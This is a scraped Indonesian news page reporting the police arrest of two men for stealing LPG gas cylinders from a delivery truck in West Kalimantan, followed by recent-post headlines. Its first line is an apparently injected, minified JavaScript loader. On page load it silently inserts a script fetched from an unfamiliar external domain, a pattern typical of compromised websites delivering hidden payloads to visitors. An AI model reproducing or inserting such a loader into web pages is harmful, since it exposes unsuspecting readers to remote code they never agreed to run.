(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Barat

Dua Maling Tabung Gas 3 Kg Dibekuk, Satu Pelaku Berusia 19 Tahun


KANALKALIMANTAN.COM – Tak sampai 24 jam sejak dilaporkan, Tim Unit Reskrim Polsek Sungai Pinyuh, Polres Menpawah, berhasil membekuk dua pelaku pencurian gas, yang terjadi pada Jumat (4/2/2022) sore kemarin. Kedua pelaku yakni JU 25 tahun, dan FA 19 tahun, kini sudah ditahan di Mapolsek Sungai Pinyuh untuk mempertanggungjawabkan perbuatannya.

Kapolres Mempawah, AKBP Fauzan Sukmawansyah, melalui Kapolsek Sungai Pinyuh, Kompol Anne Tria Sefyna, menjelaskan, penangkapan terhadap JU dan FA berawal dari laporan Ahmad Rudi Raharjo alias Ahong.

Pada Jumat (4/2/2022) sekitar pukul 05.30 WIB, Ahong hendak menghidupkan mesin truk bermuatan tabung gas elpiji 3Kg. Seperti biasa, sebelum berangkat mengantarkan tabung gas, ia mengecek kondisi muatan. Ahong kontan terkejut saat ia telah kehilangan dua tabung. Ia pun membuka rekaman CCTV, dan ternyata memang ada dua pelaku yang mengambil tabung gas yang bernilai Rp 340 ribu itu.

“Kedua pelaku melakukan pencurian dengan cara memanjat bak truk, kemudian kabur mengendarai sepeda motor,” ungkapnya, melansir dari SuaraKalbar.co.id –Jaringan Suara.com, Minggu (6/2/2022).

 

 

Baca juga: Antisipasi Lonjakan Covid-19, Banjarbaru Kembali Ambil Kebijakan PTM Terbatas 50 Persen

Adanya laporan Ahong segera ditindaklanjuti Panit II Reskrim Iptu Dewa Made Surita yang langsung melakukan penyelidikan.

“Kita bersyukur, hanya beberapa jam setelah dilaporkan, kedua pelaku yakni JU dan FA berhasil kita ringkus,” tegasnya.

Tersangka JU yang residivis atau kerap keluar masuk penjara ini ditangkap di kediamannya, Gang Seroja Indah, Kelurahan Sungai Pinyuh, Jumat (4/2/2022) sore. Dari nyanyian JU, terungkap nama FA yang kemudian ditangkap Tim Unit Reskrim Polsek Sungai Pinyuh saat melintasi Jalan Sungai Sahang, Desa Nusapati.

“Selain tersangka, kita juga telah mengamankan barang bukti. Keduanya langsung kita lakukan penahanan,” tutupnya. (kanalkalimantan.com/suara.com)

Editor : kk


Risa

Recent Posts

Masjid Agung Al Akbar Balangan Sedia 200 Porsi Berbuka Puasa

KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More

2 jam ago

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

2 jam ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

14 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

14 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

17 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

23 jam ago

This website uses cookies.